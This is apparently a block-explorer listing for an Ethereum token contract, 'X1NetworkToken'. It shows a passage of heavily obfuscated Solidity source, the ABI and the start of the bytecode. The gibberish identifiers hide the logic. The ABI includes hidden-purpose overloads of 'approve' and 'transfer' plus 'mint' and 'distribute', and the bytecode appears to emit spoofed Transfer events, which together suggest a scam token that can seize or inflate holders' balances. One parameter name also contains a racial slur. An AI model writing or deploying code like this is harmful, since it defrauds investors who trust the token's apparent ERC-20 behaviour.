fklbnklNLKNDFbjioergjioerhgioh489gh39784hgHsdjgijioreghj,int256 frjnvbnribnioNIORngiorjegiohjehbiohJSIRejg8erjgjerhg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.swap(address(this),address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs),int256(fknbdlnlnNFibnoilrenbioeriojherigIORdhgjoierhj),address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd:jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,"");(,int256 fbndfjklnnNFIObniojdobirjboierjgbo8uiou4rhgehhUIHUSDYheg)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(fklbnklNLKNDFbjioergjioerhgioh489gh39784hgHsdjgijioreghj,frjnvbnribnioNIORngiorjegiohjehbiohJSIRejg8erjgjerhg);IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(uint256(-fbndfjklnnNFIObniojdobirjboierjgbo8uiou4rhgehhUIHUSDYheg)),address(this));}return dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy;}function c61915c3ff91()external view returns(address){return address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83);}function ea55d97e3c7a()external view returns(uint256){return rfuignVNDIGULNDRIUghbnlRUIdnlgiusnbriugehori5tg(IUSRDHGOIUhosdrufhgporehgouwseryhgo());}function uniswapV3MintCallback(uint256 usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs,uint256 vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw,bytes calldata rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh)external override{require(msg.sender==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UC");address fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr=msg.sender;(uint256 igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg,uint256 ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs,vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw);if(igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg>0){fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei=1;dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg);require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei==0);}if(ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr>0){address difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe=abi.decode(rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh,(address));if(difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe==address(this)){jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transfer(fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr);}else{jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transferFrom(difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe,fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr);}}}function uniswapV3SwapCallback(int256 vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd,int256 rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks,bytes calldata)external override{require(msg.sender==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UC");address rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug=msg.sender;(int256 rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr,int256 rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd,rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks);if(rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr>0)dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug,uint256(rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr));if(rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e>0)jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transfer(rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug,uint256(rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e));}function IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uint128 dsivniNOSREDIgehjroigje89ru98jkHUIRHghkrhgjkdf,address dkjsnjdnfNJKNKJNSEDrughbuiwsherghwueighw8)private returns(uint256 dngfklnsklnLNSERIOghjiow4rhjerihjeriojgbilejrg,uint256 kslkdfnglnLSIREghoweirhghUISRHguhuirhgerge){(uint256 fikjgijIJIDRjgijeriojh9g8er5uhuejoirhjgkkkdfsg,uint256 kfbkdmLDFjigjeriojghierjghoiejrigjIOFJGdidiorg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.mint(address(this),sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,dsivniNOSREDIgehjroigje89ru98jkHUIRHghkrhgjkdf,abi.encode(dkjsnjdnfNJKNKJNSEDrughbuiwsherghwueighw8));(dngfklnsklnLNSERIOghjiow4rhjerihjeriojgbilejrg,kslkdfnglnLSIREghoweirhghUISRHguhuirhgerge)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(fikjgijIJIDRjgijeriojh9g8er5uhuejoirhjgkkkdfsg,kfbkdmLDFjigjeriojghierjghoiejrigjIOFJGdidiorg);}function UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(uint128 vdfjnjNJKNJKRFngheurhgoijerhj9e8rug9ue8hvujsdfjv,address dhusguishriughiHSERyg789w4ryhgsjegoisjeog)private returns(uint256 dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r,uint256 fjnbkdnfbjnKNRUIhghueiorhgeuirhg5){vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.burn(sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,vdfjnjNJKNJKRFngheurhgoijerhj9e8rug9ue8hvujsdfjv);fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei=1;(uint128 iodrfjgijIJSRIjgORIOgje8rhueeiorgj,uint128 rfgjijrijgOIJISRJpgkpwsrogoefkws77oedkf)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.collect(dhusguishriughiHSERyg789w4ryhgsjegoisjeog,sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,type(uint128).max,type(uint128).max);require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei==0);(dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r,fjnbkdnfbjnKNRUIhghueiorhgeuirhg5)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(uint256(iodrfjgijIJSRIjgORIOgje8rhueeiorgj),uint256(rfgjijrijgOIJISRJpgkpwsrogoefkws77oedkf));require(dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r>0,"NT");oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(dhusguishriughiHSERyg789w4ryhgsjegoisjeog,dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r);}function IUSRDHGOIUhosdrufhgporehgouwseryhgo()private view returns(uint128 jfvskhdujvhIUHUISEDHuifghiwuheguhuiwhe734ij34tjkl3){(jfvskhdujvhIUHUISEDHuifghiwuheguhuiwhe734ij34tjkl3,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.positions(keccak256(abi.encodePacked(address(this),sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge)));}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address gerioljmgijJIOJREogjhoer8guerjgoiejrg,address fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu,uint256 vnkldxcklsdiojio89894o8rg8rHHIRUhg)internal virtual override requiresLock returns(bool){uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(gerioljmgijJIOJREogjhoer8guerjgoiejrg);uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu);return super.iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(gerioljmgijJIOJREogjhoer8guerjgoiejrg,fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu,vnkldxcklsdiojio89894o8rg8rHHIRUhg);}function uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(address kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj)private{if(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj.code.length==0||kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj==address(this))return;try jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj).slot0()returns(uint160 fvdujkfujuHUFhuhudhbjjkdxfufh,int24,uint16,uint16,uint16,uint8,bool){require(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UP");if(fvdujkfujuHUFhuhudhbjjkdxfufh!=dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy){dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy=fvdujkfujuHUFhuhudhbjjkdxfufh;}else{require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei>0,"NA");unchecked{fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei--;}}}catch{}}function nujiksnufNIUDBNRFPIghubruioghwortuighbowuirntibpunw(uint256 sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we)private view returns(uint128 vdhdsuuhewiopepofUSEgyh8iyw74rgy7Y7ygyhsuidf){(uint160 dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();vdhdsuuhewiopepofUSEgyh8iyw74rgy7Y7ygyhsuidf=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we);}function uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(uint256 idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg)private view returns(uint128 fkibnvdfnbnNUIORHguihweirlgeruopwgh78r78er){(uint160 vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();fkibnvdfnbnNUIORHguihweirlgeruopwgh78r78er=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg);}function ZIUdrnguiHUIRHIPughi7erutgho8i7sr5hg8ow7h45g(uint128 dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh)private view returns(uint256 udjshbvnaslkejmfgoihUSer4t87w4egw87egweg){(uint160 dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();udjshbvnaslkejmfgoihUSer4t87w4egw87egweg=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh);}function rfuignVNDIGULNDRIUghbnlRUIdnlgiusnbriugehori5tg(uint128 djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7)private view returns(uint256 dikvjijiojOJISEOhgoihwoieghiowegiohweg){(uint160 djvniIISHJeroighoiherguihweuirh98rg34g,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();dikvjijiojOJISEOhgoihwoieghiowegiohweg=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,djvniIISHJeroighoiherguihweuirh98rg34g,djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(djvniIISHJeroighoiherguihweuirh98rg34g,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7);}function IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(uint256 idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg,uint256 djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg)private view returns(uint256 doijfgvsiojdIJSIedrhjigo8hyower8igworegre,uint256 fikjvjijIOJSRJgojsiojrigjsiojgjOIOSRDjg){(doijfgvsiojdIJSIedrhjigo8hyower8igworegre,fikjvjijIOJSRJgojsiojrigjsiojgjOIOSRDjg)=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?(idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg,djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg):(djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg,idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg);}function BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(int256 dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg,int256 fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e)private view returns(int256 dsnndkujGNsubnUIKREHguieiurghuiehrguidfb,int256 lrfnkgbnjknfiopwejfksdmklfvnsdjkhh7ere4grgreg){(dsnndkujGNsubnUIKREHguieiurghuiehrguidfb,lrfnkgbnjknfiopwejfksdmklfvnsdjkhh7ere4grgreg)=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?(dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg,fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e):(fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e,dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg);}}contract X1NetworkToken is vunIUSEHifghiuhgisuheiughuiS734t7234efghwyseg,duhvushUIOSHDEURIghuishreguihwsuig,dvjnnUSEDHIhusehghiwse78gyhsuhdegvus,dvbnjsnbSUDEHgihsuerhgieweurhg8uwe,IOefowiejfioHJSEUIOhfg{constructor(string memory dfg8uwsiojioUJIOjrgiojsirojgs,string memory ijsidjgviojIOJIOEJgijsioejg,address udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5,idfjiOISJEthgohseudhfvuhbyhsbd memory idjjvcioJIOLSDJgvojegjw8ergwegjiosjd)dvjnnUSEDHIhusehghiwse78gyhsuhdegvus(dfg8uwsiojioUJIOjrgiojsirojgs,ijsidjgviojIOJIOEJgijsioejg,udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5,idjjvcioJIOLSDJgvojegjw8ergwegjiosjd){}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address sdiojvijOIJSEDIOjghfioehjsighuweiohgweg,address idfjvisjviojIJIOSEDRJGIOjsiojergiojsirejgnedociunm,uint256 eiwgujIOUSERIOgyhuiosyhruohgubeisurvbhUYrygvrb)internal override(NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4,dvjnnUSEDHIhusehghiwse78gyhsuhdegvus)returns(bool){return super.iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(sdiojvijOIJSEDIOjghfioehjsighuweiohgweg,idfjvisjviojIJIOSEDRJGIOjsiojergiojsirejgnedociunm,eiwgujIOUSERIOgyhuiosyhruohgubeisurvbhUYrygvrb);}}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"dfg8uwsiojioUJIOjrgiojsirojgs","type":"string"},{"internalType":"string","name":"ijsidjgviojIOJIOEJgijsioejg","type":"string"},{"internalType":"address","name":"udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5","type":"address"},{"components":[{"internalType":"address","name":"vbhbUISEGyuigiuwheguvnbsd","type":"address"},{"internalType":"address","name":"vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh","type":"address"},{"internalType":"uint160","name":"djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv","type":"uint160"}],"internalType":"struct dvjnnUSEDHIhusehghiwse78gyhsuhdegvus.idfjiOISJEthgohseudhfvuhbyhsbd","name":"idjjvcioJIOLSDJgvojegjw8ergwegjiosjd","type":"tuple"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"iqevuryguiyrpiuytb84577tyb5y6wg","type":"address"},{"indexed":true,"internalType":"address","name":"tiopugvy45vhg75hgise5g","type":"address"},{"indexed":false,"internalType":"uint256","name":"qdvhjkfgvbuiafhpgiqeruigh","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"gvqejrhgiuaerhgiuqerhgiu","type":"address"},{"indexed":true,"internalType":"address","name":"kfjdhgvouiqrhgpiqhpirgiu","type":"address"},{"indexed":false,"internalType":"uint256","name":"ergivjiouaefrhvbgiuqerhuihg","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"a5feccd6e5df","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"dnvikuhuiHIUSEHr8grhwegiweushnvui","type":"uint256"}],"name":"add926d77b0e","outputs":[{"internalType":"uint128","name":"uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv","type":"uint128"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK","type":"address"},{"internalType":"address","name":"gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf","type":"address"},{"internalType":"uint256","name":"nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih","type":"address"},{"internalType":"address","name":"nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r","type":"address"},{"internalType":"uint256","name":"llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int16","name":"gnsdjknJKNSRjgnwseruighh83495hgheukrhg","type":"int16"}],"name":"b6a44d65a608","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"huivhRTRDTDR","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu","type":"address"},{"internalType":"uint256","name":"uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"c61915c3ff91","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Hhchuid","type":"address"},{"internalType":"uint256","name":"HPSCwee","type":"uint256"},{"internalType":"bytes","name":"zXXc0YYajikn","type":"bytes"}],"name":"c91a97942d5a","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg","type":"uint256"}],"name":"d5c82892104b","outputs":[{"internalType":"uint128","name":"dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg","type":"uint128"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg","type":"uint256"},{"internalType":"uint256","name":"nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY","type":"uint256"},{"internalType":"uint256","name":"nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef","type":"uint256"}],"name":"distribute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"cideJJcAtr","type":"address"}],"name":"e248103f8262","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ea55d97e3c7a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui","type":"address"},{"internalType":"uint256","name":"bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"vbnbnfsnbnsdfbHIUIHHUHUIOHU","type":"address"},{"internalType":"uint256","name":"bbvncbbCDDDDdcstacvcdTTYTT","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh","type":"address"},{"internalType":"address","name":"dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi","type":"address"},{"internalType":"uint256","name":"jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"vcvcUIUHHUIhuenfklwppffs","type":"address"},{"internalType":"address","name":"nnUHUIUIHUIhvbwfvakoasisdif","type":"address"},{"internalType":"uint256","name":"bbvTYTVYRTYT0dvllkjkiqauiwuhdf","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs","type":"uint256"},{"internalType":"uint256","name":"vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw","type":"uint256"},{"internalType":"bytes","name":"rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh","type":"bytes"}],"name":"uniswapV3MintCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int256","name":"vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd","type":"int256"},{"internalType":"int256","name":"rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks","type":"int256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"uniswapV3SwapCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e060405234801562000010575f80fd5b50604051620033e4380380620033e483398101604081905262000033916200059e565b5f80546001600160a01b0319163317905583838383838383600362000059848262000702565b50600462000068838262000702565b506001600160a01b03811660808190526200008690305f19620003c1565b5f6080516001600160a01b03166377356cd26040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000ec9190620007ca565b90505f5b81811015620002845760805160405163143781ad60e11b8152600481018390525f916001600160a01b03169063286f035a906024015f60405180830381865afa15801562000140573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620001699190810190620007e2565b9050805f01516001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83602001518460400151620001b9919062000935565b60405190815260200160405180910390a35f5b8160800151518110156200026c575f82608001518281518110620001f457620001f462000951565b60200260200101519050805f01516001600160a01b0316835f01516001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583602001516040516200024e91815260200190565b60405180910390a35080620002638162000965565b915050620001cc565b505080806200027b9062000965565b915050620000f0565b50508351602085015160405163a167129560e01b81523060048201526001600160a01b0391821660248201526101f460448201529194508416925063a167129591506064016020604051808303815f875af1158015620002e6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030c919062000980565b6001600160a01b0390811660a0819052604084810151905163f637731d60e01b8152